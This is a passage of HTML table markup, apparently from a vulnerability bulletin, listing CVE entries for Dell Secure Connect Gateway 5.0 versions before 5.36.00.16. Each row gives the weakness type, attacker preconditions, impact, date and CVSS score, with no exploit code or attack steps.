&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an SQL Command (&#039;SQL Injection&#039;) vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to script injection.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80177&quot; target=&quot;_blank&quot;&gt;CVE-2026-80177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to command execution.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78482&quot; target=&quot;_blank&quot;&gt;CVE-2026-78482&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78483&quot; target=&quot;_blank&quot;&gt;CVE-2026-78483&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to command execution.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78484&quot; target=&quot;_blank&quot;&gt;CVE-2026-78484&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Cryptographic Key vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78487&quot; target=&quot;_blank&quot;&gt;CVE-2026-78487&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78489&quot; target=&quot;_blank&quot;&gt;CVE-2026-78489&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to command execution.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78493&quot; target=&quot;_blank&quot;&gt;CVE-2026-78493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Alternate XSS Syntax vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79638&quot; target=&quot;_blank&quot;&gt;CVE-2026-79638&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an SQL Command (&#039;SQL Injection&#039;) vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79640&quot; target=&quot;_blank&quot;&gt;CVE-2026-79640&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79642&quot; target=&quot;_blank&quot;&gt;CVE-2026-79642&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79689&quot; target=&quot;_blank&quot;&gt;CVE-2026-79689&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insertion of Sensitive Information Into Debugging Code vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79694&quot; target=&quot;_blank&quot;&gt;CVE-2026-79694&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79730&quot; target=&quot;_blank&quot;&gt;CVE-2026-79730&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79734&quot; target=&quot;_blank&quot;&gt;CVE-2026-79734&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in a Command (&#039;Command Injection&#039;) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79741&quot; target=&quot;_blank&quot;&gt;CVE-2026-79741&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in a Command (&#039;Command Injection&#039;) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79941&quot; target=&quot;_blank&quot;&gt;CVE-2026-79941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to command execution.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79945&quot; target=&quot;_blank&quot;&gt;CVE-2026-79945&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Alternate XSS Syntax vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79946&quot; target=&quot;_blank&quot;&gt;CVE-2026-79946&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to script injection.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79947&quot; target=&quot;_blank&quot;&gt;CVE-2026-79947&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Encoding or Escaping of Output vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to launch of phishing attacks.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79952&quot; target=&quot;_blank&quot;&gt;CVE-2026-79952&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79961&quot; target=&quot;_blank&quot;&gt;CVE-2026-79961&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Concurrent Execution using Shared Resource with Improper Synchronization (&#039;Race Condition&#039;) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79962&quot; target=&quot;_blank&quot;&gt;CVE-2026-79962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Escape, Meta, or Control Sequences vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to launch of phishing attacks.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79964&quot; target=&quot;_blank&quot;&gt;CVE-2026-79964&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an External Control of Critical State Data vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79965&quot; target=&quot;_blank&quot;&gt;CVE-2026-79965&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79967&quot; target=&quot;_blank&quot;&gt;CVE-2026-79967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79968&quot; target=&quot;_blank&quot;&gt;CVE-2026-79968&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Concurrent Execution using Shared Resource with Improper Synchronization (&#039;Race Condition&#039;) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79969&quot; target=&quot;_blank&quot;&gt;CVE-2026-79969&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Verification of Cryptographic Signature vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79970&quot; target=&quot;_blank&quot;&gt;CVE-2026-79970&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Sanitization of Custom Special Characters vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79971&quot; target=&quot;_blank&quot;&gt;CVE-2026-79971&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to server-side request forgery.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79975&quot; target=&quot;_blank&quot;&gt;CVE-2026-79975&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Incorrect Permission Assignment for Critical Resource vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80054&quot; target=&quot;_blank&quot;&gt;CVE-2026-80054&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insertion of Sensitive Information into Log File vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80056&quot; target=&quot;_blank&quot;&gt;CVE-2026-80056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Cryptographic Key vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80057&quot; target=&quot;_blank&quot;&gt;CVE-2026-80057&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Cleartext Storage of Sensitive Information vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80058&quot; target=&quot;_blank&quot;&gt;CVE-2026-80058&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insertion of Sensitive Information into Log File vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80124&quot; target=&quot;_blank&quot;&gt;CVE-2026-80124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80125&quot; target=&quot;_blank&quot;&gt;CVE-2026-80125&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Cryptographic Key vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80167&quot; target=&quot;_blank&quot;&gt;CVE-2026-80167&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insufficient Session Expiration vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to session theft.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80174&quot; target=&quot;_blank&quot;&gt;CVE-2026-80174&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Privilege Management vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to elevation of privileges.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80178&quot; target=&quot;_blank&quot;&gt;CVE-2026-80178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Cryptographic Key vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78486&quot; target=&quot;_blank&quot;&gt;CVE-2026-78486&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
